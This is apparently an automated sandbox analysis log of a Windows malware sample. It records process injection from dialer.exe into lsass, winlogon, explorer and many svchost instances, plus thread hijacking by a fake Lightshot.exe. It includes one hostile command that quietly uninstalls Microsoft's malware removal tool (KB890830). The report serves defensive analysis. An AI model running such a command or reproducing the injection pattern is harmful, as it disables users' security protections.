Source: C:\Windows\System32\dialer.exe	Memory written: C:\Windows\System32\svchost.exe base: 181CEDB0000 value starts with: 4D5A
Source: C:\Windows\System32\dialer.exe	Memory written: C:\Windows\System32\svchost.exe base: 2A142790000 value starts with: 4D5A
Source: C:\Windows\System32\dialer.exe	Memory written: C:\Windows\System32\svchost.exe base: 195B6F30000 value starts with: 4D5A
Source: C:\Windows\System32\dialer.exe	Memory written: C:\Windows\System32\svchost.exe base: 1428DC90000 value starts with: 4D5A
Source: C:\Windows\System32\dialer.exe	Memory written: C:\Program Files\Common Files\microsoft shared\ClickToRun\OfficeClickToRun.exe base: 1B973730000 value starts with: 4D5A
Source: C:\Windows\System32\dialer.exe	Memory written: C:\Windows\System32\svchost.exe base: 1DBFA540000 value starts with: 4D5A
Source: C:\Windows\System32\dialer.exe	Memory written: C:\Windows\System32\svchost.exe base: 1D76CCC0000 value starts with: 4D5A
Source: C:\Windows\System32\dialer.exe	Memory written: C:\Windows\System32\svchost.exe base: 1A239D90000 value starts with: 4D5A
Source: C:\Windows\System32\dialer.exe	Memory written: C:\Windows\System32\svchost.exe base: 17CFA390000 value starts with: 4D5A
Source: C:\Windows\System32\dialer.exe	Memory written: C:\Windows\System32\svchost.exe base: 23FB7270000 value starts with: 4D5A
Source: C:\Windows\System32\dialer.exe	Memory written: C:\Windows\System32\svchost.exe base: 1DF53B50000 value starts with: 4D5A
Source: C:\Windows\System32\dialer.exe	Memory written: C:\Windows\System32\svchost.exe base: 164E88A0000 value starts with: 4D5A
Source: C:\Windows\System32\dialer.exe	Memory written: C:\Windows\System32\svchost.exe base: 25177B50000 value starts with: 4D5A
Source: C:\Windows\System32\dialer.exe	Memory written: C:\Windows\System32\svchost.exe base: 28D5D340000 value starts with: 4D5A
Source: C:\Windows\System32\dialer.exe	Memory written: C:\Windows\System32\sihost.exe base: 24EB5E10000 value starts with: 4D5A
Source: C:\Windows\System32\dialer.exe	Memory written: C:\Windows\System32\svchost.exe base: 20859990000 value starts with: 4D5A
Source: C:\Windows\System32\dialer.exe	Memory written: C:\Windows\System32\svchost.exe base: 1F153C20000 value starts with: 4D5A
Source: C:\Windows\System32\dialer.exe	Memory written: C:\Windows\System32\svchost.exe base: 1D241D40000 value starts with: 4D5A
Source: C:\Windows\System32\dialer.exe	Memory written: C:\Windows\System32\svchost.exe base: 16FADAD0000 value starts with: 4D5A
Source: C:\Windows\System32\dialer.exe	Memory written: C:\Windows\System32\ctfmon.exe base: 20E03070000 value starts with: 4D5A
Source: C:\Windows\System32\dialer.exe	Memory written: C:\Windows\System32\svchost.exe base: 15204DB0000 value starts with: 4D5A
Source: C:\Windows\System32\dialer.exe	Memory written: C:\Windows\explorer.exe base: 3340000 value starts with: 4D5A
Source: C:\Windows\System32\dialer.exe	Memory written: C:\Windows\System32\svchost.exe base: 175C5280000 value starts with: 4D5A
Source: C:\Windows\System32\dialer.exe	Memory written: C:\Windows\System32\dasHost.exe base: 1CE76AA0000 value starts with: 4D5A
Source: C:\Windows\System32\dialer.exe	Memory written: C:\Windows\System32\svchost.exe base: 22EF1B30000 value starts with: 4D5A
Source: C:\Windows\System32\dialer.exe	Memory written: C:\Windows\System32\RuntimeBroker.exe base: 1C7F34F0000 value starts with: 4D5A
Source: C:\Windows\System32\dialer.exe	Memory written: C:\Windows\System32\svchost.exe base: 261DE4D0000 value starts with: 4D5A
Source: C:\Windows\System32\dialer.exe	Memory written: C:\Windows\System32\RuntimeBroker.exe base: 22E74520000 value starts with: 4D5A
Source: C:\Windows\System32\dialer.exe	Memory written: C:\Windows\System32\dllhost.exe base: 1B1A9D00000 value starts with: 4D5A
Source: C:\Windows\System32\dialer.exe	Memory written: C:\Windows\System32\RuntimeBroker.exe base: 217AF8C0000 value starts with: 4D5A
Source: C:\Windows\System32\dialer.exe	Memory written: C:\Windows\System32\smartscreen.exe base: 226D8930000 value starts with: 4D5A
Source: C:\Windows\System32\dialer.exe	Memory written: C:\Windows\System32\svchost.exe base: 13E5E930000 value starts with: 4D5A
Source: C:\Windows\System32\dialer.exe	Memory written: C:\Windows\System32\wbem\WmiPrvSE.exe base: 1F844140000 value starts with: 4D5A
Source: C:\Windows\System32\dialer.exe	Memory written: C:\Windows\System32\ApplicationFrameHost.exe base: 21197E30000 value starts with: 4D5A
Source: C:\Windows\System32\dialer.exe	Memory written: C:\Windows\System32\RuntimeBroker.exe base: 223DC870000 value starts with: 4D5A
Source: C:\Windows\System32\dialer.exe	Memory written: C:\Windows\ImmersiveControlPanel\SystemSettings.exe base: 1B4698D0000 value starts with: 4D5A
Source: C:\Windows\System32\dialer.exe	Memory written: C:\Windows\System32\svchost.exe base: 27234C50000 value starts with: 4D5A
Source: C:\Windows\System32\dialer.exe	Memory written: C:\Windows\System32\svchost.exe base: 28543540000 value starts with: 4D5A
Source: C:\Windows\System32\dialer.exe	Memory written: C:\Windows\System32\audiodg.exe base: 2B684340000 value starts with: 4D5A
Source: C:\Windows\System32\dialer.exe	Memory written: C:\Windows\System32\RuntimeBroker.exe base: 1BE58920000 value starts with: 4D5A
Source: C:\Windows\System32\dialer.exe	Memory written: C:\Windows\System32\wbem\WmiPrvSE.exe base: 228CA7E0000 value starts with: 4D5A
Source: C:\Windows\System32\dialer.exe	Memory written: C:\Windows\System32\conhost.exe base: 228B3E20000 value starts with: 4D5A
Source: C:\Windows\System32\dialer.exe	Memory written: C:\Windows\System32\RuntimeBroker.exe base: 1EDA6AC0000 value starts with: 4D5A
Source: C:\Windows\System32\dialer.exe	Memory written: C:\Windows\System32\RuntimeBroker.exe base: 15519600000 value starts with: 4D5A
Source: C:\Windows\System32\dialer.exe	Memory written: C:\Windows\System32\svchost.exe base: 185BB560000 value starts with: 4D5A
Source: C:\Windows\System32\dialer.exe	Memory written: C:\Windows\System32\dllhost.exe base: 17F327F0000 value starts with: 4D5A
Source: C:\Windows\System32\dialer.exe	Memory written: C:\Windows\System32\wbem\WmiPrvSE.exe base: 197F36A0000 value starts with: 4D5A
Source: C:\Windows\System32\dialer.exe	Memory written: C:\Windows\System32\wbem\WMIADAP.exe base: 1C019C80000 value starts with: 4D5A
Source: C:\Windows\System32\dialer.exe	Memory written: C:\Windows\System32\wbem\WMIADAP.exe base: 1C01A710000 value starts with: 4D5A

Injects code into the Windows Explorer (explorer.exe)

Source: C:\Windows\System32\dialer.exe

Memory written: PID: 1028 base: 3340000 value: 4D

Modifies the context of a thread in another process (thread injection)

Source: C:\Users\user\Desktop\nW2oopMIdg.exe	Thread register set: target process: 1276	Jump to behavior
Source: C:\ProgramData\Screenshots\Lightshot.exe	Thread register set: target process: 7056	Jump to behavior
Source: C:\ProgramData\Screenshots\Lightshot.exe	Thread register set: target process: 2284	Jump to behavior
Source: C:\ProgramData\Screenshots\Lightshot.exe	Thread register set: target process: 4508	Jump to behavior

Writes to foreign memory regions

Source: C:\Windows\System32\dialer.exe	Memory written: C:\Windows\System32\winlogon.exe base: 1E858950000	Jump to behavior
Source: C:\Windows\System32\dialer.exe	Memory written: C:\Windows\System32\lsass.exe base: 140ADFC0000	Jump to behavior
Source: C:\Windows\System32\dialer.exe	Memory written: C:\Windows\System32\svchost.exe base: 195DD590000	Jump to behavior
Source: C:\Windows\System32\dialer.exe	Memory written: C:\Windows\System32\dwm.exe base: 1160C9E0000	Jump to behavior
Source: C:\Windows\System32\lsass.exe	Memory written: C:\Windows\System32\svchost.exe base: 1428DD00000
Source: C:\Windows\System32\lsass.exe	Memory written: C:\Windows\System32\svchost.exe base: 1428DD00000
Source: C:\Windows\System32\lsass.exe	Memory written: C:\Windows\System32\svchost.exe base: 1428DD00000
Source: C:\Windows\System32\lsass.exe	Memory written: C:\Windows\System32\svchost.exe base: 1428DD00000
Source: C:\Windows\System32\lsass.exe	Memory written: C:\Windows\System32\svchost.exe base: 1428DD00000
Source: C:\Windows\System32\lsass.exe	Memory written: C:\Windows\System32\svchost.exe base: 1428DD00000
Source: C:\Windows\System32\lsass.exe	Memory written: C:\Windows\System32\svchost.exe base: 1428DD00000
Source: C:\Windows\System32\lsass.exe	Memory written: C:\Windows\System32\svchost.exe base: 1428DD00000
Source: C:\Windows\System32\lsass.exe	Memory written: C:\Windows\System32\svchost.exe base: 1428DD00000
Source: C:\Windows\System32\lsass.exe	Memory written: C:\Windows\System32\svchost.exe base: 1428DD00000
Source: C:\Windows\System32\lsass.exe	Memory written: C:\Windows\System32\svchost.exe base: 1428DD00000
Source: C:\Windows\System32\dialer.exe	Memory written: C:\Windows\System32\winlogon.exe base: 1E8589B0000
Source: C:\Windows\System32\dialer.exe	Memory written: C:\Windows\System32\lsass.exe base: 140AE890000
Source: C:\Windows\System32\dialer.exe	Memory written: C:\Windows\System32\svchost.exe base: 195DE1A0000
Source: C:\Windows\System32\dialer.exe	Memory written: C:\Windows\System32\dwm.exe base: 1160CA10000
Source: C:\Windows\System32\dialer.exe	Memory written: C:\Windows\System32\svchost.exe base: 257E1070000
Source: C:\Windows\System32\dialer.exe	Memory written: C:\Windows\System32\svchost.exe base: 1F28C1D0000
Source: C:\Windows\System32\dialer.exe	Memory written: C:\Windows\System32\svchost.exe base: 1CA97FD0000
Source: C:\Windows\System32\dialer.exe	Memory written: C:\Windows\System32\svchost.exe base: 1D2652E0000
Source: C:\Windows\System32\dialer.exe	Memory written: C:\Windows\System32\svchost.exe base: 254A27A0000
Source: C:\Windows\System32\dialer.exe	Memory written: C:\Windows\System32\svchost.exe base: 24B87DA0000
Source: C:\Windows\System32\dialer.exe	Memory written: C:\Windows\System32\svchost.exe base: 205FB3C0000
Source: C:\Windows\System32\dialer.exe	Memory written: C:\Windows\System32\svchost.exe base: 1A205670000
Source: C:\Windows\System32\dialer.exe	Memory written: C:\Windows\System32\svchost.exe base: 18EC1F30000
Source: C:\Windows\System32\dialer.exe	Memory written: C:\Windows\System32\svchost.exe base: 25CE3BC0000
Source: C:\Windows\System32\dialer.exe	Memory written: C:\Windows\System32\svchost.exe base: 26238950000
Source: C:\Windows\System32\dialer.exe	Memory written: C:\Windows\System32\svchost.exe base: 2786E560000
Source: C:\Windows\System32\dialer.exe	Memory written: C:\Windows\System32\svchost.exe base: 1611FF70000
Source: C:\Windows\System32\dialer.exe	Memory written: C:\Windows\System32\svchost.exe base: 27C0F350000
Source: C:\Windows\System32\dialer.exe	Memory written: C:\Windows\System32\svchost.exe base: 1B279570000
Source: C:\Windows\System32\dialer.exe	Memory written: C:\Windows\System32\svchost.exe base: 1E70A460000
Source: C:\Windows\System32\dialer.exe	Memory written: C:\Windows\System32\svchost.exe base: 22D13110000
Source: C:\Windows\System32\dialer.exe	Memory written: C:\Windows\System32\svchost.exe base: 22C8C580000
Source: C:\Windows\System32\dialer.exe	Memory written: C:\Windows\System32\svchost.exe base: 2825F1D0000
Source: C:\Windows\System32\dialer.exe	Memory written: C:\Windows\System32\svchost.exe base: 2AA5D9C0000
Source: C:\Windows\System32\dialer.exe	Memory written: C:\Windows\System32\svchost.exe base: 20BAEC90000
Source: C:\Windows\System32\dialer.exe	Memory written: C:\Windows\System32\svchost.exe base: 1D2DC1B0000
Source: C:\Windows\System32\dialer.exe	Memory written: C:\Windows\System32\svchost.exe base: 1C782530000
Source: C:\Windows\System32\dialer.exe	Memory written: C:\Windows\System32\spoolsv.exe base: A60000
Source: C:\Windows\System32\dialer.exe	Memory written: C:\Windows\System32\svchost.exe base: 24066EB0000
Source: C:\Windows\System32\dialer.exe	Memory written: C:\Windows\System32\svchost.exe base: 1A3FD9A0000
Source: C:\Windows\System32\dialer.exe	Memory written: C:\Windows\System32\svchost.exe base: 181CEDB0000
Source: C:\Windows\System32\dialer.exe	Memory written: C:\Windows\System32\svchost.exe base: 2A142790000
Source: C:\Windows\System32\dialer.exe	Memory written: C:\Windows\System32\svchost.exe base: 195B6F30000
Source: C:\Windows\System32\dialer.exe	Memory written: C:\Windows\System32\svchost.exe base: 1428DC90000
Source: C:\Windows\System32\dialer.exe	Memory written: C:\Program Files\Common Files\microsoft shared\ClickToRun\OfficeClickToRun.exe base: 1B973730000
Source: C:\Windows\System32\dialer.exe	Memory written: C:\Windows\System32\svchost.exe base: 1DBFA540000
Source: C:\Windows\System32\dialer.exe	Memory written: C:\Windows\System32\svchost.exe base: 1D76CCC0000
Source: C:\Windows\System32\dialer.exe	Memory written: C:\Windows\System32\svchost.exe base: 1A239D90000
Source: C:\Windows\System32\dialer.exe	Memory written: C:\Windows\System32\svchost.exe base: 17CFA390000
Source: C:\Windows\System32\dialer.exe	Memory written: C:\Windows\System32\svchost.exe base: 23FB7270000
Source: C:\Windows\System32\dialer.exe	Memory written: C:\Windows\System32\svchost.exe base: 1DF53B50000
Source: C:\Windows\System32\dialer.exe	Memory written: C:\Windows\System32\svchost.exe base: 164E88A0000
Source: C:\Windows\System32\dialer.exe	Memory written: C:\Windows\System32\svchost.exe base: 25177B50000
Source: C:\Windows\System32\dialer.exe	Memory written: C:\Windows\System32\svchost.exe base: 28D5D340000
Source: C:\Windows\System32\dialer.exe	Memory written: C:\Windows\System32\sihost.exe base: 24EB5E10000
Source: C:\Windows\System32\dialer.exe	Memory written: C:\Windows\System32\svchost.exe base: 20859990000
Source: C:\Windows\System32\dialer.exe	Memory written: C:\Windows\System32\svchost.exe base: 1F153C20000
Source: C:\Windows\System32\dialer.exe	Memory written: C:\Windows\System32\svchost.exe base: 1D241D40000
Source: C:\Windows\System32\dialer.exe	Memory written: C:\Windows\System32\svchost.exe base: 16FADAD0000
Source: C:\Windows\System32\dialer.exe	Memory written: C:\Windows\System32\ctfmon.exe base: 20E03070000
Source: C:\Windows\System32\dialer.exe	Memory written: C:\Windows\System32\svchost.exe base: 15204DB0000
Source: C:\Windows\System32\dialer.exe	Memory written: C:\Windows\explorer.exe base: 3340000
Source: C:\Windows\System32\dialer.exe	Memory written: C:\Windows\System32\svchost.exe base: 175C5280000
Source: C:\Windows\System32\dialer.exe	Memory written: C:\Windows\System32\dasHost.exe base: 1CE76AA0000
Source: C:\Windows\System32\dialer.exe	Memory written: C:\Windows\System32\svchost.exe base: 22EF1B30000
Source: C:\Windows\System32\dialer.exe	Memory written: C:\Windows\System32\RuntimeBroker.exe base: 1C7F34F0000
Source: C:\Windows\System32\dialer.exe	Memory written: C:\Windows\System32\svchost.exe base: 261DE4D0000
Source: C:\Windows\System32\dialer.exe	Memory written: C:\Windows\System32\RuntimeBroker.exe base: 22E74520000
Source: C:\Windows\System32\dialer.exe	Memory written: C:\Windows\System32\dllhost.exe base: 1B1A9D00000
Source: C:\Windows\System32\dialer.exe	Memory written: C:\Windows\System32\RuntimeBroker.exe base: 217AF8C0000
Source: C:\Windows\System32\dialer.exe	Memory written: C:\Windows\System32\smartscreen.exe base: 226D8930000
Source: C:\Windows\System32\dialer.exe	Memory written: C:\Windows\System32\svchost.exe base: 13E5E930000
Source: C:\Windows\System32\dialer.exe	Memory written: C:\Windows\System32\wbem\WmiPrvSE.exe base: 1F844140000
Source: C:\Windows\System32\dialer.exe	Memory written: C:\Windows\System32\ApplicationFrameHost.exe base: 21197E30000
Source: C:\Windows\System32\dialer.exe	Memory written: C:\Windows\System32\RuntimeBroker.exe base: 223DC870000
Source: C:\Windows\System32\dialer.exe	Memory written: C:\Windows\ImmersiveControlPanel\SystemSettings.exe base: 1B4698D0000
Source: C:\Windows\System32\dialer.exe	Memory written: C:\Windows\System32\svchost.exe base: 27234C50000
Source: C:\Windows\System32\dialer.exe	Memory written: C:\Windows\System32\svchost.exe base: 28543540000
Source: C:\Windows\System32\dialer.exe	Memory written: C:\Windows\System32\audiodg.exe base: 2B684340000
Source: C:\Windows\System32\dialer.exe	Memory written: C:\Windows\System32\RuntimeBroker.exe base: 1BE58920000
Source: C:\Windows\System32\dialer.exe	Memory written: C:\Windows\System32\wbem\WmiPrvSE.exe base: 228CA7E0000
Source: C:\Windows\System32\dialer.exe	Memory written: C:\Windows\System32\conhost.exe base: 228B3E20000
Source: C:\Windows\System32\dialer.exe	Memory written: C:\Windows\System32\RuntimeBroker.exe base: 1EDA6AC0000
Source: C:\Windows\System32\dialer.exe	Memory written: C:\Windows\System32\RuntimeBroker.exe base: 15519600000
Source: C:\Windows\System32\dialer.exe	Memory written: C:\Windows\System32\svchost.exe base: 185BB560000
Source: C:\Windows\System32\dialer.exe	Memory written: C:\Windows\System32\dllhost.exe base: 17F327F0000
Source: C:\Windows\System32\dialer.exe	Memory written: C:\Windows\System32\wbem\WmiPrvSE.exe base: 197F36A0000
Source: C:\Windows\System32\dialer.exe	Memory written: C:\Windows\System32\wbem\WMIADAP.exe base: 1C019C80000
Source: C:\Windows\System32\dialer.exe	Memory written: C:\Windows\System32\wbem\WMIADAP.exe base: 1C01A710000

Source: C:\Users\user\Desktop\nW2oopMIdg.exe	Process created: C:\Windows\System32\dialer.exe C:\Windows\system32\dialer.exe	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\wusa.exe wusa /uninstall /kb:890830 /quiet /norestart	Jump to behavior
Source: C:\ProgramData\Screenshots\Lightshot.exe	Process created: C:\Windows\System32\dialer.exe C:\Windows\system32\dialer.exe	Jump to behavior
Source: C:\ProgramData\Screenshots\Lightshot.exe	Process created: C:\Windows\System32\dialer.exe C:\Windows\system32\dialer.exe	Jump to behavior
Source: C:\ProgramData\Screenshots\Lightshot.exe	Process created: C:\Windows\System32\dialer.exe dialer.exe	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\wusa.exe wusa /uninstall /kb:890830 /quiet /norestart

Source: C:\Windows\System32\dialer.exe

Code function: 25_2_0000000140001B54 AllocateAndInitializeSid,SetEntriesInAclW,LocalAlloc,InitializeSecurityDescriptor,SetSecurityDescriptorDacl,CreateNamedPipeW,

25_2_0000000140001B54

Source: C:\Windows\System32\dialer.exe

Code function: 25_2_0000000140001B54 AllocateAndInitializeSid,SetEntriesInAclW,LocalAlloc,InitializeSecurityDescriptor,SetSecurityDescriptorDacl,CreateNamedPipeW,

25_2_0000000140001B54

Source: winlogon.exe, 0000001F.00000000.2071908099.000001E858D81000.00000002.00000001.00040000.00000000.sdmp, winlogon.exe, 0000001F.00000002.3286399434.000001E858D81000.00000002.00000001.00040000.00000000.sdmp, dwm.exe, 00000029.00000000.2084584090.0000011605AB4000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Program Manager
Source: winlogon.exe, 0000001F.00000000.2071908099.000001E858D81000.00000002.00000001.00040000.00000000.sdmp, winlogon.exe, 0000001F.00000002.3286399434.000001E858D81000.00000002.00000001.00040000.00000000.sdmp, dwm.exe, 00000029.00000002.3296482195.0000011605EC1000.00000002.00000001.00040000.00000000.sdmp	Binary or memory string: Shell_TrayWnd
Source: winlogon.exe, 0000001F.00000000.2071908099.000001E858D81000.00000002.00000001.00040000.00000000.sdmp, winlogon.exe, 0000001F.00000002.3286399434.000001E858D81000.00000002.00000001.00040000.00000000.sdmp, dwm.exe, 00000029.00000002.3296482195.0000011605EC1000.00000002.00000001.00040000.00000000.sdmp	Binary or memory string: Progman
Source: winlogon.exe, 0000001F.00000000.2071908099.000001E858D81000.00000002.00000001.00040000.00000000.sdmp, winlogon.exe, 0000001F.00000002.3286399434.000001E858D81000.00000002.00000001.00040000.00000000.sdmp, dwm.exe, 00000029.00000002.3296482195.0000011605EC1000.00000002.00000001.00040000.00000000.sdmp	Binary or memory string: Progmanlock

Source: C:\Windows\System32\winlogon.exe

Code function: 31_2_000001E8589636F0 cpuid

31_2_000001E8589636F0

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\System.Data\v4.0_4.0.0.0__b77a5c561934e089\System.Data.dll VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\System.Transactions\v4.0_4.0.0.0__b77a5c561934e089\System.Transactions.dll VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-GroupPolicy-ClientTools-WOW64-Package~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-AppManagement-AppV-Package~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\WindowsPowerShell\v1.0\Modules\AppvClient\Microsoft.AppV.AppVClientPowerShell.dll VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\Microsoft.AppV.AppvClientComConsumer\v4.0_10.0.0.0__31bf3856ad364e35\Microsoft.AppV.AppvClientComConsumer.dll VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\Microsoft.AppV.AppvClientComConsumer\v4.0_10.0.0.0__31bf3856ad364e35\Microsoft.AppV.AppvClientComConsumer.dll VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\Microsoft.AppV.AppvClientComConsumer\v4.0_10.0.0.0__31bf3856ad364e35\Microsoft.AppV.AppvClientComConsumer.dll VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-SecureStartup-Subsystem-WOW64-Package~31bf3856ad364e35~amd64~~10.0.19041.1865.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-SecureStartup-Subsystem-Package~31bf3856ad364e35~amd64~en-GB~10.0.19041.1151.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\WindowsPowerShell\v1.0\Modules\BitLocker\Microsoft.BitLocker.Structures.dll VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\System.Data\v4.0_4.0.0.0__b77a5c561934e089\System.Data.dll VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\System.Transactions\v4.0_4.0.0.0__b77a5c561934e089\System.Transactions.dll VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\ VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-GroupPolicy-ClientTools-WOW64-Package~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-AppManagement-AppV-Package~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\WindowsPowerShell\v1.0\Modules\AppvClient\Microsoft.AppV.AppVClientPowerShell.dll VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\Microsoft.AppV.AppvClientComConsumer\v4.0_10.0.0.0__31bf3856ad364e35\Microsoft.AppV.AppvClientComConsumer.dll VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\Microsoft.AppV.AppvClientComConsumer\v4.0_10.0.0.0__31bf3856ad364e35\Microsoft.AppV.AppvClientComConsumer.dll VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\Microsoft.AppV.AppvClientComConsumer\v4.0_10.0.0.0__31bf3856ad364e35\Microsoft.AppV.AppvClientComConsumer.dll VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-SecureStartup-Subsystem-WOW64-Package~31bf3856ad364e35~amd64~~10.0.19041.1865.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-SecureStartup-Subsystem-Package~31bf3856ad364e35~amd64~en-GB~10.0.19041.1151.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\WindowsPowerShell\v1.0\Modules\BitLocker\Microsoft.BitLocker.Structures.dll VolumeInformation

Source: C:\Windows\System32\dialer.exe

Code function: 25_2_0000000140001B54 AllocateAndInitializeSid,SetEntriesInAclW,LocalAlloc,InitializeSecurityDescriptor,SetSecurityDescriptorDacl,CreateNamedPipeW,

25_2_0000000140001B54

Source: C:\Windows\System32\winlogon.exe

Code function: 31_2_000001E858987960 GetSystemTimeAsFileTime,GetCurrentThreadId,GetCurrentProcessId,QueryPerformanceCounter,

31_2_000001E858987960

